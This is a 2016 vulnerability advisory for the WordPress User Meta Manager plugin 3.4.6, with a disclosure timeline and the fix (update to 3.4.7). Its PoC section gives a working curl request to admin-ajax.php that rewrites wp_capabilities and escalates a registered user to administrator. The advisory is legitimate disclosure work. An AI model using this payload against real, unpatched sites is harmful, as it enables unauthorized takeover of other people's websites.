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WordPress User Meta Manager 3.4.6 Privilege Escalation

WordPress User Meta Manager 3.4.6 Privilege Escalation
Posted Feb 6, 2016
Authored by Panagiotis Vagenas

WordPress User Meta Manager plugin version 3.4.6 suffers from a privilege escalation vulnerability.

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WordPress User Meta Manager 3.4.6 Privilege Escalation

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* Exploit Title: WordPress User Meta Manager Plugin [Privilege Escalation]
* Discovery Date: 2015/12/28
* Public Disclosure Date: 2016/02/04
* Exploit Author: Panagiotis Vagenas
* Contact: https://twitter.com/panVagenas
* Vendor Homepage: http://jasonlau.biz/home/
* Software Link: https://wordpress.org/plugins/user-meta-manager/
* Version: 3.4.6
* Tested on: WordPress 4.4.1
* Category: webapps

Description
================================================================================

User Meta Manager for WordPress plugin up to v3.4.6 suffers from a privilege
escalation vulnerability. A registered user can modify the meta information of
any registered user, including himself. This way he can modify `wp_capabilities`
meta to escalate his account to a full privileged administrative account.

PoC
================================================================================

```sh
curl -c ${USER_COOKIES} \
-d "mode=edit&umm_meta_value[]=a:1:{s:13:\"administrator\";b:1;}\
&umm_meta_key[]=wp_capabilities" \
"http://${VULN_SITE}/wp-admin/admin-ajax.php\?action=umm_switch_action\
&umm_sub_action=umm_update_user_meta&umm_user=${USER_ID}"
```

Timeline
================================================================================

2015/12/28 - Discovered
2015/12/29 - Vendor notified via support forums in WordPress.org
2015/12/29 - Vendor notified via contact form in his site
2016/01/29 - WordPress security team notified about the issue
2016/02/02 - Vendor released version 3.4.7
2016/02/02 - Verified that this exploit no longer applies in version 3.4.7

Solution
================================================================================

Update to version 3.4.7
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